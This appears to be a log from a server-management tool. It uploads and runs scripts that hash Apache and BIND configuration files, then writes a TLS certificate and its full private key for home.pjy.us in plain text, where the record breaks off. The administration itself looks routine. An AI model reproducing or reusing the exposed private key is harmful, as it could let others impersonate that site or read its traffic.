MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= a4148807538e2363efd96fab60e7488e
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= 1f4485e910ddc5c00ab90cc7d73591b9
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= ee97524ee7f30c0bf2722b085af7e853
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp952286:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-06 10:24:40: Establishing a connection
2026-05-06 10:24:40: 

PUT: /tmp/pkp181732

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:24:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp181732; rm /tmp/pkp181732'

2026-05-06 10:24:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:24:47: Establishing a connection
2026-05-06 10:24:47: 

PUT: /tmp/pkp445142

#!/bin/bash
temp_file=$(mktemp)
TARGET=7889e7c0d13f0b76beb5af2adc3d4e86.crt

cat > $temp_file <<'endmsg'
78:89:e7:c0:d1:3f:0b:76:be:b5:af:2a:dc:3d:4e:86

-----BEGIN CERTIFICATE-----
MIIDUTCCAjmgAwIBAgIURLeGOlMMO4AUAjG6AFhJk99i1m8wDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDUwNjEwMjQ0N1oXDTI3MDUwNjEwMjQ0N1ow
FjEUMBIGA1UEAwwLaG9tZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDWnjEb3LvvH7ehcriK95f7T98BWjmkH0GbsQt3TgMSgEhq8n7hHo98
vyCpAXtFp5w7/SKW9sazuUlMvt4ZpjbsaI5UNX+0d8JeBnXmZTgkGVTk9wzKTFyT
W/GNJBnRfMyzRBj2x+ir//2CTVxBr598QVslDFzz+TMGtG7jofhpJ+STQcSADa/r
QNCjUrWwTtBm6bPOOZieWkRWvCv1wyZKVsxRjIZ+fgqGQzwJO//ktipYGM8vt0qD
QDIZPDURW1Z+sLWMpYRgV+xoTC1sVvz0Fs3LlSgSUzJuhptn/fFfaZCJ4cxVrpeI
MQlvvOgiiHT9vXxlJiQfWkkA35qqlse1AgMBAAGjcjBwMB0GA1UdDgQWBBQ4NZQf
1MnWqP1f6Iyr1I+pn4v5qDAfBgNVHSMEGDAWgBSFm24M/c0kteH10KQDOIJXSzBz
/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAWBgNVHREEDzANggtob21lLnBqeS51
czANBgkqhkiG9w0BAQsFAAOCAQEARl4Wa4OSuamfi4Lc/XiZCbRAiHZ+fFB4nMii
hBlBx6k6R/DYqF2YKU8TNWqLYzu0yYW71eC1CnDo8hN9MRQZoASENdqwgLm8rZrs
vFq1ER1nnvRSku1wayAxAq8l7dcABZnxJS/gM/lHHFlXy4sOsDFu58h3oUNJx5Hu
5Kw/t+X3bOxAbKyTHN7hPYsJJEohqz3e/Jp46MwCEqWJpycYQ8g1YkKzu5zK1TXw
u+S36nNy9L4NJevYRfBrezqfO4v0+TB8I1AHq0S4eEqGuU7KtO8KsiQxevaqXAxe
hX73ik8i17GKASP6sxCwhB4YF72Pu6IBHtjC9smZvKds5BngLw==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWnjEb3LvvH7eh
criK95f7T98BWjmkH0GbsQt3TgMSgEhq8n7hHo98vyCpAXtFp5w7/SKW9sazuUlM
vt4ZpjbsaI5UNX+0d8JeBnXmZTgkGVTk9wzKTFyTW/GNJBnRfMyzRBj2x+ir//2C
TVxBr598QVslDFzz+TMGtG7jofhpJ+STQcSADa/rQNCjUrWwTtBm6bPOOZieWkRW
vCv1wyZKVsxRjIZ+fgqGQzwJO//ktipYGM8vt0qDQDIZPDURW1Z+sLWMpYRgV+xo
TC1sVvz0Fs3LlSgSUzJuhptn/fFfaZCJ4cxVrpeIMQlvvOgiiHT9vXxlJiQfWkkA
35qqlse1AgMBAAECggEAAsI4+yfHKsvRY6tTNTNrGY15PRA2Pm2Q3rw8Hfo22B4l
y2nV45tFcGCT0RTEbHiZx7KV1oiix9D/ozSld1HTYCru2k+oQOiteUBNHo5BHVaQ
Pd5jYi51Ugckozy8CiaIjxB0ZDYylQmh5LBnlLLKliGEVy/B+kRDDvGibcgv6PzD
tGpkfwR6zNb1pK3gma91pyEZKZ3McheCis+7CxkNOL4zKLRMAznp4+FZvJ0eYSrn
BHUlU7fwwAevYQgp/bL3/c1pDp3NFP3bz6RUxvzVnCHq5nGpf+dgZGTTlBfTTpVp
Plyu+t+kBHvm3hkH+kTzyzS/k6zMSeQMiyiJRB8ZRQKBgQDrErQkQNcKZiSzAHoJ
GEzBqU9QnHPAVRbKlQ06lG0hw8OLSV43lq9JP0pdUZ1yVb3sYp2/tRalll6ibOd+
z9s/jS+QCUU/AwwtxeKBtQSRdUlxNEP7/geIm0XFoEoM8z9PwhW45X3APhkdkt9M
aS+LiSyWCXEcC7g6ktmvvQGK8wKBgQDpuVFHn1zm9klcfma+IJJqYbwcBjoXqfK6
s+zkBwGp+8tHTsgKDk/IgmqnIJh/65IcubMcAJWsnyICFBXYNZ2mXAOrx6MVY+Au
o/2ECNw3UJ6KkkLtz+9qamDRzxZSSMNU31e9RI6YpmZGT1EnbCtGfOYiUjqY2Iq0
cAN4Wka8twKBgFUF9tIGAcFpIGz+ByWy/FAvhNiLPfKa1BuBvb8qYC6ON/PxHXrN
rai4k5UdJ+1qxb7yDEyCmyZZNPFaooBjfdGGp2VZdQpNd+I2aK6xYm2aFm4zkUNb
pi3qu1m3mBEHCic289RkbQ9TZpIjxVBF20SE4PODhr22H3RQGRxPKHexAoGBANNo
3Sx76fzAKfuQGj9AFzBC13RB7aoZ/4UB2vUnoUmwiF8n06nE6EXmMbKauVZ8Lt3s
2yYpITnTd1+J63h2hvNDp85p9goTHWUS0O3tVcRzF/Uf94pE27rWHl2pg/dJ+eV7
